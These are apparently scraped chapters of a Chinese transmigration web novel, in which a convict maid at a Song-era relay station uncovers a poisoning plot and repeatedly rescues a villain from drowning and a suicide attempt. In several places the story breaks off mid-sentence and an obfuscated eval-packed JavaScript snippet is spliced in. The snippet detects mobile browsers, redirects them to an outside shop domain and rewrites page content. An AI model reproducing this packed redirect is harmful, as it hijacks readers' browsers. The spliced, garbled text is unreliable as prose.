除了一些破烂的伤口,干干净净,没有丝毫油污。 众人一下子将目光聚集在采儿身上,这下采儿就算不伸出手来,也确定是她无疑了。 但吴明砚仍向旁边的小厮道:“来人,去把采儿姑娘的双手拿出来。” 瞬间便过去两个小厮,扯住她的两只手。 采儿闻言转身想离开,但手腕已经被禁锢住,她只好紧紧抵抗,不让自己的手露出来。 但她毕竟是一个女孩儿,力量不及成年男性,很快她的双手便被伸开在众人之前。 见到她黑乎乎的左手,人群中齐齐传来一阵阵低呼,都不相信为何采儿会干出这种事。 甚至被人摁住的壮汉还在为采儿开脱。 “误会!这都是误会!采儿肯定不会干出这种事的!” 而采儿的手在露出的那一刻,便以心如死灰,任由小厮撑着,不再有一丝动静了。 “采儿姑娘,你手上的这油污该如何解释?”吴明砚冷然道。 采儿抬起头,头发因为刚才的挣扎有些乱了。 她伤心难过又恋慕地看着吴明砚,却没有得到他一个关心的眼神,心中的委屈和不甘越烧越旺,逐渐烧毁了她的理智。 她猛地看向路元玉,破防地大笑,“这下你满意了吧!我因为你名声尽毁,明砚哥哥也喜欢你!我是个小丑行了吧!” 她竟当着众人的面如此失态,还说出如此放浪的语言,众人的目光变得更加微妙。 陈驿丞和吴司吏也看呆了,刚想让人将她拖下去,张婆子就赶忙上去,半拉半哄地将采儿待下去了。 路元玉平静地看着这一切,她现在才终于知道采儿对她莫名的敌意竟然是因为一个男人。 她的目光缓缓落到了旁边的吴明砚身上。 吴明砚身材有些矮小,但很健康,五官端正但不出彩,文质彬彬,细看过去在人群中倒是显得气质出尘了。 怪不得他会站出来替自己解围。 这种事系统并没有给那么详细的解释,而是在她推测出两人关系时,脑海中才浮现出两人之前接触的过往。 原来这吴明砚是司吏吴敬的侄子,吴明砚在叔父的驿站备考乡试,一来二去他们之间便有了交集。 路元玉是这个驿站里为数不多能与他讨论书籍理论的人,而且她说的那番理论都颇合他的意,他对她更是欣赏。 于是偶尔他会将自己的书借给路元玉读,读完之后再听她的见解,一来二去,两人关系更近了起来。 然而采儿也早已心悦吴明砚,见他们越发亲密,便开始忌恨起路元玉来。 这次趁着吴明砚去参加预考,才找到机会一直变着花样折磨她。 采儿离开后,祭祀活动也结束了,众人开始吃饭。 路元玉原本是要离开的,但吴明砚说此次事件她无端受害,应受补偿,吴司吏便特准她留下来一同吃饭。 她蹲在角落里用完了饭,刚要起身,便见刚才为采儿说话的那个壮汉站到了她身前。 手上端着一盘福糕,不自然道:“我向你道歉,这糕点你收下吧。” 8. 第八章·出去 路元玉缓缓站起身,双唇紧抿,眼神微疑。 “放心,只是一碟糕点而已,如果你能收下,就当原谅我了。”壮汉又往前递了递。 路元玉四周环视一圈,不期然对上了看向这里,倏然收回视线的张婆子。 她扯了扯唇角,笑着接过。 壮汉意味不明地笑了声,刚要转身离开,却听见路元玉清朗的声音在他身后传来。 “社祭福糕,奴婢不敢独享。请允奴婢以此糕敬谢井神。” 说罢,径直走到井边,将碟子放了过去。 恰好有几只野猫野狗闻着味道走过来,路元玉刻意没有拦着,让它们在糕点上咬了几口。 瞬间便又有人喊道:“给井神的福糕,你怎么让畜生给吃了!” 路元玉没有回答,不过片刻,那些吃了福糕的猫狗便开始剧烈腹泻,当众瘫软污秽。 众人哗然。 陈驿丞和吴敬脸色铁青,命人捞起残糕查验。 很快,来查验的人将糕点拿起来,不用他开口,众人就看见糕点底部清晰可见的、致死量的巴豆粉。 “贱奴!你好大的胆子!”吴敬拍案叫道:“本官是见你良心未泯,可怜之极,才特允你与我们同坐,不曾想你竟然这般恶毒!” “回大人,这糕点是他给我的。” 路元玉指了指角落里马上要逃走的壮汉,平静道。 那壮汉见事情败露,便破罐子破摔,走到众人面前。 “就是我干的,怎么了?她一个贱奴,竟然敢污蔑采儿姑娘,我就是要让她去见阎王说理去!” “王铁!”吴明砚不可置信地上前两步。 王铁却一脸无所谓,当作没听见。 “就是我干的,要杀要剐,冲我一个人来!” “王铁,你这是蓄意杀人,是要判死刑的!”吴明砚提醒。 王铁向来为人仗义,他并不相信王铁会做出这种事。 “想想你的老母亲!” 王铁面色顿时有些犹豫,但仍不肯开口。 “吴明砚!”吴敬忽然厉声喝道:“福糕是这贱奴端过去的,和王铁有什么关系!” “叔父!”吴明砚顿时面色愕然,看着叔父决然的样子,心中愤然不已,却知道此时他不管再说什么叔父都是不可能再听他的了。 路元玉见众人不再说话,便对王铁轻声开口。 “王铁,我听说过你,家中只有一位老母亲,多病,多亏你照顾她。你很孝顺,我也很看好你,你喜欢采儿善良温柔,听话乖巧。你觉得是我害了她,可你想想,我一介官奴婢,为什么要害她?” “我来到这里七年,勤勤恳恳做事,从未偷懒耍滑,也从未抱怨过一句。我一辈子都只能在这方小小的驿站里,为什么要去害人,和你们做敌人?” “我虽然没出过驿站,但我知道乡亲们都很好,和善可亲,采儿虽然后时候有些任性,但我长她几岁,合该让着她,又怎么会故意害她呢。” “其实就算你今天咬死不承认下毒的事和她无关,他们一家也是不会轻易被饶恕的,如果你不说出实情,还会连累到你,到时,你的母亲可怎么办?” “如今有人给你糕点让你害我,可想而知她根本不值得你为此付出你的老母亲和你自己的性命啊!” 路元玉原本不想说那么多的,不自觉却越说越多,越说越激动了。 但她不后悔,但对付王铁这种糙汉子,就应该以柔克刚。 果然,王铁方才一言不合就要死要活的架势退却,面色慢慢柔和下来。 沉默片刻后,低声道:“福糕是张婆子给我的。” 张婆子做事败露,被人抓了起来,采儿也被拖了上来。 张婆子已经明白现在的情形,想要安稳地留在这里已经是不可能了,于是恶狠狠道:“是!就是我干的!这个贱奴作恶多端,我替老天爷教训她!哈哈哈!” 采儿也和张婆子如出一辙,两人都有些情绪不稳定。 而采儿是为了吴明砚,张婆子则是为了自己的女儿。 吴明砚没有看采儿,他对采儿本来就没什么感觉,现在由于张婆子的缘故,对她们二人更是不喜。 便向吴敬抱拳示意:“叔父,社祭之日,酒爵被污,福糕□□。张婆子母女二人心思实在歹毒,为了驿站和周围村落的平定,侄儿请求革掉她驿厨一职,并将她们赶出湖州府。” 吴敬头疼地看着眼前过于刚正的侄儿,不知该说什么好。 他当然知道张婆子品行不端,道德败坏,甚至除了今日这种事,他是不怎么意外的,毕竟张婆子通过各种手段,也给了他不少好处。 他本想这次狠狠罚一罚这件事就过了,毕竟若是再换一个驿厨,谁知道那驿厨是个什么脾性呢。 他还没想好该怎么给乡亲们一个交代,一直坐在位置上不说话的陈潢淡淡开口道:“我认为明砚说的有理,吴老友你在纠结什么?” 吴敬动作一顿。 陈潢称呼他为老友,并没有以官职威压,便解释道:“嗐,你误会了。我只是在想该如何总结一下案情。” 然后向吴明砚摆了摆手,示意他退下。 沉声道:“各位乡亲们,事情你们也都清楚,我便不多做赘述。张婆子母女二人作恶多端,现剥去她驿厨一职,将她们流放外地,乡亲们可还满意?” “满意,满意!” 不同于采儿,张婆子在当地口碑并不怎么好,如今能将她赶走,自是都积极支持。 对采儿虽然有些惋惜,但有其母必有其女,采儿今日都敢在春社上搞破坏,日后说不定还会更狠,还是都赶走为好。 傍晚时分,夕阳斜斜挂在西边,染红大片天空。 春社终于顺利结束,回去时路元玉被人叫住,被人塞了好多祭祀剩下的蔬菜水果,还向她道歉。 路元玉受宠若惊,一一接过,不停道谢。 吴明砚在旁边看着,笑意满满。 直到人都走光了,才上前道:“今日,你表现的很好。” 路元玉笑了笑,转身离开。 他们并没有什么好说的。 虽然他好像看起来对她很好,为她解决麻烦,但,麻烦还不是因为他才有的? 吴明砚连忙叫住她,虽然不知为何才一个月不见,她的态度怎么变得如此疏离,但心想应该是今日连番惊吓让她累到了,于是也不想再久留她,从袖子中掏出一本书,递了出去。 “这是你说的《古纸经补要诀》,我逛书店的时候无意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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要不要趁此机会彻底离开这里? 路元玉心念微动,但很快便否定了这种想法。 她的户籍在陈潢手里,如果没有户籍,她出去就会被当流民抓起来,到时候想要逃跑就更难了。 可是该让谁带自己走呢? 吴明砚吗? 路元玉有些犹豫,她很清楚吴明砚虽然对自己略有好感,但只停留在书友这一关系,莫名其妙让他帮自己去湖州府,他不仅不会同意,还会问东问西,惹来一身麻烦。 上次春社他会主动帮忙,也是担心她会因此获罪被押送到别的地方,他便不能与她交流读书心得了。 路元玉目光落在前面木桌上,与这里简陋环境格格不入的那一方砚台上。 这是一方澄泥砚,是前两日陈潢特意交给自己的。 这砚台从右下角断裂,约占四分之一,断裂处恰好损及雕刻的仙鹤翼尖。 砚底有陈潢私章及一句铭文:“负霜栖远,孤影澄心”。 据陈潢所说,这砚台是他中秀才时,其恩师所赠。如今恩师早已亡故,此砚是他最后的念想,因此想请她修复这砚台。 当时路元玉没有当即拒绝,是想回来好好考虑一下。 毕竟她身份敏感,万一修好之后给自己惹来麻烦就不好了。 原本想过几日再原样还给他,说修不好,但如今,她可能只有选择修这一个选择了。 打定主意后,路元玉起身,往陈潢的值班室走去。 9. 第九章·溺水 “你要出去?” 陈潢坐在桌案后面,手上拿着一本书,正在翻看,听路元玉说完来意后,不仅有些惊讶。 路元玉点点头。 “是的,那方砚台……我回去后研究了一下。那砚台虽常见,但我需要的东西这里都没有,我需要去湖州府买一些回来。” “这……”陈潢陷入为难。 路元玉这官奴婢的身份很是敏感特殊,若是官方原因要她外出也就罢了,但问题是人家是为了给自己修复砚台才出去的,若是她跑了,或者惹出点别的事,到头来还不是他要替她背锅? 陈潢无意识开始摸胡子。 路元玉看出了他的为难,保证道:“大人放心,我定早去早回。若您不放心可派人跟着我。” 陈潢叹了口气:“这修复材料,非要你亲自去不可?” 路元玉点头:“修复材料多种多样,若是买错了,岂不是耽误时间?” 陈潢又想了好一会儿,才松了口。 “如此,那我让肖七跟着你吧,一定要早去早回,不要多生事端。” 肖七是在陈潢身边侍奉的私人小厮,是一个四十多岁的大叔。 路元玉原本计划的是自己出去驿站后,先去离得近的苕溪村里借一匹驴子,再往东南方向的湖州府赶。 如今肖七陪她一起,那她就不用绕路了。 至于到了湖州府怎么办,到时候随便找个借口就好了。 打定主意,路元玉拱手道谢,然后看着随侍在一旁的肖七道:“那我们走吧。” 肖七和陈潢是对视一眼:这么赶吗? 路元玉后知后觉好像有些唐突,便解释道:“正好今日都没什么事,我担心肖大哥后面有别的事,冲突了就不好。” 陈潢闻言点头,拿起方才放在一边的书:“如此,那便去吧。” 路元玉不会骑马,又不能坐马车。 肖七便牵来一匹棕色的马,让她坐在前面,他则坐在后面。 湖州府在伏波驿正东方向,但距离颇远,两人骑了三十分钟才看到湖州府西门城墙。 路元玉看了眼倒计时:【01:56:42】 居然已经过去了一个小时。 两人下马,步行入城。 灰黛参差,烟火稠密。 青石板被磨得中心微凹,光润如古玉。街上挑担的汉子扁担吱呀,筐沿还沾着郊外的露水和泥点,妇人臂弯里的篮子装着碧绿的菜。 讨价还价的嗡嗡声、铁匠铺有节奏的叮当声、孩童突兀的啼哭……所有这些声音混合在一起,形成一种持续不断的、令人安心的嘈杂。 路元玉此时才感觉自己整个人都活起来了。 她此时所处的并不是历史书上简简单单的地方名称,而是她切实的感受到了这片地域的生活气息。 在驿站内感受还不是很深刻,但此刻路元玉仿佛才意识到,自己是真的穿越了。 尽管不是真实的历史,但这本书里也有它自己的运行法则,真乃奇迹。 肖七看着旁边路元玉一脸震惊,没见过世面的样子,默默跟在身后,心中莫名溢出些怜惜之情。 路元玉这具身体虽然已经二十岁,但她营养不良,没有发育好,此时看着也就刚及笄的年岁,比他自己的闺女大不了几岁。 而眼前这姑娘听说从七年前就被流放到伏波驿,到现在为止应该是七年都没有出过门了,此时见此情景,难免一番羡艳。 但路元玉回神的时间比他想象中的快,没过一会儿,路元玉就转过头,眼神明亮,神采奕奕地跟他打听起了这里的店铺。 “肖大哥,你知道哪里有卖鱼鳔胶和澄泥原粉的吗?” 路元玉新鲜感过了之后,心中的那股激情振奋之情就平淡了许多,因为眼前这些东西再怎么给它赋予上历史的色彩,它现在仍只是一个普通的用具。 肖七皱眉想了想,摇了摇头。 他平常又不用这些东西。 路元玉眼睫微颤,故作为难。 “那不太好办,要不我们分头找吧?我还要一些其他的基础材料。” 肖七的眉皱的更紧了,仿佛能夹死一只苍蝇。 他方才怜惜是怜惜,但他跟来就是要监视她,不让她逃跑,他怎么能擅离职守呢? 路元玉笑得真诚。 “肖大哥你放心,我绝对不会跑走的。等我们买到之后还来这里碰面怎么样?” 肖七却仍是不愿。 “肖大哥,”路元玉无奈地叹了口气,“这么大一个湖州府,我区区一个罪奴,还是个女子,又没有户籍,现下跑走肯定是死路一条。” “我安安分分买好东西回去复命,不比我被人掳走过得舒服?” 听闻路元玉好似对他推心置腹的话,肖七多疑的心思才稍缓,慎重地点了头。 “如此,那我们天黑之前,还在这里碰面。” “嗯!” 与肖七分开后,路元玉按照地图的指引,直直往湖州府东门外的青川江码头跑去。 系统说季修宁这次是因溺水窒息,如果情况严重,或许等不到倒计时结束他就死了。 据路元玉所知,青川江码头现在已经是一个废弃码头,平日里只有一些力工、船夫、卖粗劣饭食酒水的小贩等人来往。 空气浑浊,环境恶劣。 不知道季修宁来这里干什么。 一边跑,路元玉心里一边复盘溺水速救方法。 大约跑了十分钟,路元玉终于看到了一条长约百余米的灰褐色木质栈桥,从江中蔓延至岸上。 岸边是夯实的泥地,被车轮和人脚踩得坑洼不平,雨后积着浑浊的水洼。 再往前走,扑面而来的是各种汗味、鱼腥、江水腥气、劣质酒气和货物尘土的混合气味。 号子声、骂声、车轴声、江水拍打声也随风飘进路元玉耳里。 整个身体轻飘飘的像是踩进了棉花里。 路元玉之前也去过废弃码头,不过是那种改造后以旅游景点重新开放的商业废弃码头,没有这么多复杂的声音和味道。 想吐,但忍住了。 路元玉撑着精神,视线在岸边来回巡视。 在栈桥两侧的岸边上,稀疏搭着几座简陋的、用芦苇席和旧木板拼成的棚子。 在主栈桥北边的岸上有一个院落,原本是存储、分装盐包的砖木结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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路元玉拉住季修宁的时候,他的体温已经和青川江的水温一致,冰冷得像是原本就生活在水中的一条鱼。 她一只手拦腰搂着季修宁,另一只手拉着绳子往栈桥下面游。 栈桥上围了一圈人,见路元玉真的将人救了出来,连忙帮着一块往上拉绳子。 但人们力量有限,加上江水的阻力,不能将两个人同时拉上去。 路元玉便将围在自己腰上的绳子,解下来围在了季修宁身上,看着众人将他拉上去之后,才将重新抛下来的绳子系在了自己身上。 她刚被拉上来,就听见人们围了季修宁一圈,一边摇头一边叹息。 “嘴都白成这个样子了,没救了吧?” “没、没有呼吸了!” “唉,给他准备个席子,将他埋了吧!” 路元玉咳嗽一声,顾不上自己的狼狈,连忙上前将围了一圈的人都驱散开。 “大家都起来一下,离他远点!” “快,他现在还没死,我有办法救他!” 10. 第十章·初见 众人将信将疑,但还是听话地后退了几步,季修宁彻底暴露在空气中。 他的皮肤白得近乎透明,几颗浑丨圆的水珠正沿着鼻梁那陡峭的弧线,迟疑地滑向唇角。 嘴唇失却了全部颜色,紧抿着,唇角残留着一丝浑浊江水的痕迹。 长长的睫毛被水粘成一簇簇,在眼下投出一片阴影。 头发像浓黑的水草,一绺一绺地粘在额头、颈侧和木板上,发梢还在断断续续地滴着水珠,沿着下巴尖,砸在锁骨凹陷的小小水洼里。 她动作快速又不失理智地将季修宁身体和头摆正。跪在他身侧,双手交叠,掌根紧贴胸骨中下段,双臂伸直,用上半身力量垂直向下压。 三十次后,季修宁没反应。 路元玉迅速检查他的口腔,用手指清除淤泥、水草、呕吐物。一手掌根压其前额,另一手食指和中指抬起其下巴骨,使其头部后仰,鼻孔朝天。 然后捏住他的鼻子,开始进行人工呼吸。 在二人嘴唇相触的一瞬间,周围瞬间爆发出一阵嫌弃的鄙夷声。 “干嘛呢这是?” “这姑娘看着挺文静,怎么突然亲一个死人啊!” “就是,她说能把人救活,难道就是亲活吗?喜欢人家也不能这样侮辱人吧?” “快快快,把她给拉开!” 离路元玉近的人连忙伸手,想把她拉开。 路元玉原本不想解释那么多,但他们想将她拉开,会耽误救治,便面色严肃警告道:“别碰我!先救人要紧,如果他一会儿没醒,你们再来定我的罪行吗?” 路元玉浑身湿透,又小又瘦弱的身板却让人不敢再动。 确定他们不再捣乱后,路元玉重复刚才的步骤,三轮之后,季修宁从口中呕出一些江水。 看着那刺眼的倒计时消失,路元玉疯狂跳动的心脏才终于落回肚子里。 “真的醒了!” “天哪,怎么做到的,太神了吧!” 眼看着季修宁就要醒来,路元玉顾不上那么多了,连忙从人堆里退了出去。 情急之间,没注意到季修宁僵硬通红的脖颈,和微颤的指尖。 路元玉离开后,季修宁很快就清醒了过来,无视周围人的询问,沉默地起身,看着路元玉消失的方向若有所思,然后跟了上去。 走在回湖州府的路上,路元玉狼狈的样子实在惹人注目。 但她没有弄到新衣服的办法,只好随便披了个麻袋。 买好她需要的东西后,路元玉快速回到了她和肖七约定好的地方。 “路、路姑娘,你这是……!” 肖七一见她,眼睛就瞪得巨大,眼中充满震惊。 怎么才分开一会儿就搞成这么狼狈的样子了? 路元玉淡定解释:“肖大哥,我经过卖鱼的摊位时不小心给掉进他们的浴缸里了,不过你放心,他们没有怪罪我!” 肖七愣愣地点了点头。 算了,没有酿成大麻烦就好。 等两人回到驿站时,已经将近酉时了。 路元玉因为着凉,打了一路的喷嚏。 她立马给自己烧水,洗了个热水澡,才感觉又活了过来。 回来后,路元玉开始给陈潢修补砚台。 这方砚台要修补不难,但要修补成和以前一模一样的,那实属不易。 左右路元玉没有别的事,便全心全意帮他修复如初。 期间陈潢不知出于什么心思,还特意派了一个她从未说过话的驿卒来试探她。 “驿丞大人好像很看重你,修好了这个,说不定能调你进屋里伺候,不用再风吹日晒。” 路元玉只是笑笑不做回复。 然后像是没察觉般的,继续埋头修补砚台。 后来快修补完成时,陈潢亲自来了杂物间。 一番闲谈后,他轻声感慨了一句:“令尊路公风骨,山高水长。可惜……” 虽然她冠以路姓,但路氏家族庞大,谁都不会将眼前这个普普通通的女人认成路闻远的女儿。 但陈驿丞无疑是认出了自己的身份,还在试探自己。 若是原女主,恐怕早就吓傻了。 但路元玉早就经历过官场上这些风雨云涌,只是沉默片刻,而后低声道:“罪奴如今只知修复手中之物,往事如尘,不敢也没有精力去想。” 陈潢为什么对她态度转变这么大,肯定和原主父亲有关。 但这转变后到底是单纯的照拂还是有更大的阴谋,她目前还看不出来。 又是一个月过去,路元玉将砚台交付后没多久,职方司郎中杜衡就来了。 据肖七描述,陈潢是没有将砚台被修补过这件事情说出来的,但那杜衡,眼光实在毒辣,一眼就看出了两处地方的不同。 他先是惊叹了这瞒天过海的手艺一番,又是拉着陈潢一番逼问,陈潢迫于官威,才将路元玉说了出来。 路元玉点头,表示理解。 陈潢虽然承认她的手艺,但并不想和她牵扯上什么关系,毕竟他们身份悬殊。 杜衡其人也是同样想法,得知了这修补技艺竟是出自一介奴婢之后,只是满口“可惜”,便再无其他动作了。 路元玉虽然觉得有些憋屈,但同时也松了口气。 她也害怕自己因此出名后,惹上无力对抗的大麻烦。 也是此时,她下定决心,如果有幸能逃离这里,重新生活,那她一定要换个姓氏。 毕竟原主父亲路闻远在死之前,官至三品,说到路氏,他的身影总会在人们脑海一闪而过。 路元玉又是凭借这门手艺吃饭的,再被人认出来可不好。 那边季修宁安分了没多久,系统竟然又提示季修宁再次陷入濒死状态。 路元玉提着装满饲料的木桶,倒进马厩的石槽里,抬起胳膊擦了擦额头的汗珠,看着大大的太阳,重重叹了口气。 路元玉:“这次又是因为什么?” 系统:【自杀。】 “自杀?为什么?” 系统声音毫无起伏:【抱歉宿主,本系统不支持观测他人心理状态等功能。】 路元玉:……这样的日子还要过多久? 季修宁自杀的地点在苕溪村南边的桑林内,死亡倒计时只有一个小时,同样很紧急。 好在现在是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001538|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中午,吃完饭后大家都会午休一会儿,没人会注意到她。 她快速的喂完马后,来不及换衣服,就偷偷溜出了驿站。 去苕溪村的路她之前走过一次,这次再走有了种不一样的感觉。 她刚来到这里是是初春三月,现在已经过去了两个月,路边的野花野草都已经开了,迎风招展。中午的空气中都带着点甘甜。 她以前是北方人,从前在南方也住过一段时间,但因为水土不服,住的很难受,别人眼里的田园美景她也欣赏不来。 但这段时间,可能由于原主本身已经在这里生活了七年的缘故,她对这里的一草一木都发自内心的感到亲切,仿佛她本就该是这里的一员。 这次走到苕溪村,没有见到守村的老丈,路途很是顺利,很快就照着地图的指引来到了桑林外。 路元玉站在林边望去。 桑树并不高大,却生得极稠、极密。树干是沉静的灰褐色,纹路如老人手背的筋脉,微微虬结。树冠却蓬勃地撑开,层层叠叠的桑叶织成一片望不到头的、深浅不一的绿海。 正午的阳光穿过叶隙,在地上投下无数晃动跳跃的、铜钱大小的光斑,明亮却不灼人。 路元玉抬脚走进去。地面是松软的,积着经年的落叶,踩上去悄无声息。 转了几个弯之后,路元玉终于在一棵树下看到了季修宁。 阳光如碎玉般洒在他的身上,他却仿佛和地上的枯叶融为一体,周身弥漫着腐朽的气息。 路元玉慢慢走近,看到他垂在地上的手腕被割开一刀口子,伤口周围皮肉卷曲,看上去像是被刀子反复割开过很多次。 鲜血在枯叶上汇聚,一眼看去,好像是这些叶子在拼命汲取他身上为数不多的生命,怪诞诡异。 触目惊心。 路元玉摇摇头,有些纳闷自己为什么会这么想。 一定是累晕了。 给他止血,把伤口包扎之后,路元玉将救命丸塞到他嘴里。 眼前的倒计时消失,她却没有立刻离开。 她忙了一上午没有休息,在接到系统通知后又马不停蹄赶过来救治,已经累得口干舌燥,此时只想躺一会儿。 头顶树叶摇晃,鸟鸣清脆,空气清新。 虽然旁边坐了个半死不活的男人,但并没有影响她此时的好心情。 路元玉闭上眼惬意地晒太阳。 在她闭上眼睛的一瞬间,便有一道阴沉冷漠的视线落在了她身上。 路元玉眼睫微颤,过了片刻,猛地睁开眼睛。 她第六感非常敏锐,在季修宁看向她的一瞬间,她就察觉到了。 她以为季修宁可能会说点什么,但他什么都没说,也没有任何动作,只是阴险的盯着她。 她实在忍受不住,才睁开了眼。 之前两次救人,时间都很紧急,路元玉并没有注意到他的样貌,只隐约觉得他似乎很帅。 今天一见,果然如此。 漂亮的桃花眼尾微垂,鸦羽般的睫毛在眼下投下一片阴影,鼻梁高挺,薄唇冷抿。 阴柔俊美,眼神却空洞死寂。 他好像在看一个死人。 11. 第十一章·窥视 路元玉心下一惊,也谨慎起来。 同时她还有些纳闷,虽然他诡计多端,心思歹毒,但不是说他还是个温润古董商,对外表现很温柔吗? 她还救了他,为什么看她时敌意还这么大? 难道他被宋承安打败,更加心有不甘,黑化了? 路元玉拧眉思考,有这个可能,但不绝对。 或许……她眉心微跳,还有一种可能,那就是他觉得自己可疑。 难道是—— 几乎是下一秒,路元玉就明白了他此次自杀的原因。 他是在试探。 上次他溺水,自己当时虽然走的快,但当时他也醒了,再随意打听一下,就能知道是谁救了他。 再联想到两个月前,几乎是死而复生的事,他一定是对救他的人有所怀疑,因此不惜自杀,引她上勾。 此刻,路元玉不得不长叹一句,果然是恶毒反派季修宁,够狠。 路元玉再看向他,刚准备说什么,却感觉面前一花。 下一秒,脖颈一凉。 一把锋利的,还带着血渍的匕首就放到了路元玉脖子上。 “你是谁。”他的声音低沉凛冽,像数九寒冬里刺骨的寒风。 她感觉身体瞬间被寒冷包裹,明明是三十多度的大晴天,她如坠冰窖。 路元玉强迫自己镇定下来,声音却还是有些发抖。 “我对你没有恶意。” “你是谁。” 脖子上的匕首狠狠向前推进几分。 路元玉感受着脖子上的刺痛,紧张地吞咽了下,脑中瞬间排列出好几种方案。 “你别紧张,我没有恶意。” “我叫路元玉,今年二十岁。我爹是路闻远,七年前被人陷害,我族所有成年男女皆被砍杀,未成年皆被流放。我那时十三岁,免遭死罪。被贬为官奴婢,流放至此。” “但我知晓我爹是被冤枉的,这么多年我一直想查明原因,但始终没有机会,直到遇见了你。” “我知道你是一个古董商,你刚来这里时我见过你,虽然不知道你为何沦落为现在这样,但当时我觉得我可以找你帮忙。” “但,再次见面发现你的处境也一落千丈,我不好再开口,只好默默跟着你……后面的事,你也就知道了。” 她本可以只介绍自己是谁,他不问自己就不说。 但她担心他一个不高兴,就顺手一划,她就死了。 性命攸关,她还是老实点比较好。 但她也不可能把系统要求这种事说出来,只怕他更会觉得她在耍花招。 她刚说完,就清楚地听见脑海中系统不合时宜地提示: 【恭喜宿主触发支线任务:查明原主家族惨案的真相。目前进度:0%。】 路元玉眼中闪过无语,但顾不上吐槽,抬头去看季修宁的反应。 季修宁依旧冷漠。 “既然知道我不能再帮你,你为何还要几次三番地救我?” 路元玉神色认真,语气郑重:“因为我觉得你和别人不一样,你虽然此时落魄,但日后一定大有作为,到时候看在我救过你的份上,再帮我也不迟。” “为何每次你都能‘恰好’出现在我身边?” 他将“恰好”这两个字咬的格外重。 路元玉目光真诚,“我知道说出来你肯定不信,但这是真的。每次我都是正好遇到。” 她肯定不能否认上次的施救,若是否认,他更是会怀疑她动机不纯。 见他目光微沉,路元玉连忙解释:“其实我今天过来只是因为今天天气好,我来这里偷懒,我并不知道你也在这里。” “上次也是因为帮驿丞大人买东西。我平常不能随意出入驿站,好不容易出去一次,当然要好好逛逛,赚到码头间有人落水,就顺手把你救了。” 说完,路元玉去看季修宁的反应。 季修宁眼神微闪,没有说话。 片刻后,脖子上的匕首倏然被拿走。 路元玉如临大赦,虽然腿软,还是向前踉跄了几步,扶住一颗桑树,才没有丢人地跌坐在地。 转身再去看他时,他神色冷漠,居高临下地觑着她。 虽然他没说话,但她从他的目光中读出一行字。 “你可以走了。” 路元玉下意识照做,刚转身,突然想起来刚才系统提示的那个支线任务。 【帮助原主寻找家族冤案的真相。】 要找他帮忙吗? 现在除了驿丞陈潢,就只有眼前这个人知道她的身世。 难道要找陈潢这个官场中人帮她离开吗?肯定不可能。 可是……路元玉又看了过去。 季修宁冷冷地回看过来。 要找他帮忙吗? 路元玉犹豫片刻,低声嚅嗫着开口:“你还没回答我,要不要帮我。” 季修宁眼睑微垂,避开了她的视线。 路元玉抿唇,明白了他的意思,转身离开了。 只是离开之后,她越想越气。 明明是自己救了他,是他的救命恩人,他却还这样对自己,竟然想杀了她! “系统,我不干了!” 越想越气,路元玉一边走,一边在心里对系统呐喊。 奈何系统装死不回复,她更气了。 想她堂堂顶级文物修复师最得意弟子,什么时候受过这种气? 路元玉心底暗暗发誓,等她完成任务,第一个就把季修宁杀了,再把系统也给它拆了! 等心底的气撒的差不多了,她心里才好受些。 抬头看了看天色,心中又郁闷不已。 她午休时间本来就短,路上花费些时间,刚才她又耽搁了那么长时间,如果再不回去就要被人捉住了。 连忙开始一路小跑。 但不知是不是自己的错觉,刚才只顾着生气时还没发现,现在总感觉有一道视线在盯着自己。 她停下来好几次往后看,但都没看到可疑身影。 她只好继续往回走。 果然,刚从驿站门外走进来,就听见有人在喊自己的名字。 路元玉一边回应,一边整理了一下衣服。 “我在这儿呢,找我有事吗?” 吴明砚闻言,牵着马从内院出来,笑道:“怪不得喊你不应,原来你不在。” 自从上次春社过后,陈驿丞和吴司吏就允许她可以在驿站周围活动了,但不可以离开太远,所以见路元玉从外面出来,也不惊讶。 路元玉笑了一下,点点头: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001539|193966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “嗯,今天天气好出去晒晒太阳。你要出去吗?” “嗯,叔父说有要事与我相商,这次回去恐怕要一个月才能回来,所以特意找你说一声,如果有想看的书,可以直接去我房间拿。” 上次路元玉拒绝了他赠送的书,但并没有一下子断绝和他往来的关系,平日里他们还像以前那样经常一起说话。 “不用了,我平日里忙,你新借我的那本书还没有看完。你还是把房门锁好吧。” 吴明砚没有强求,两人又说了几句,他就策马离开了。 路元玉将他送至门外,看着他潇洒的身影,眼中不由得溢出点点清泪。 她什么时候也能像这样,痛痛快快地骑马飞奔? 目送吴明砚远去后,路元玉转身回去。 却在瞬间,又感受到了一种被窥视的感觉。 她拧眉,心中泛起几丝猜测。 很快,她转身进了驿站,开始了下午的工作。 季修宁在驿站外的树上,盯了路元玉一个时辰,又将这里里里外外暗探了一遍,离开了。 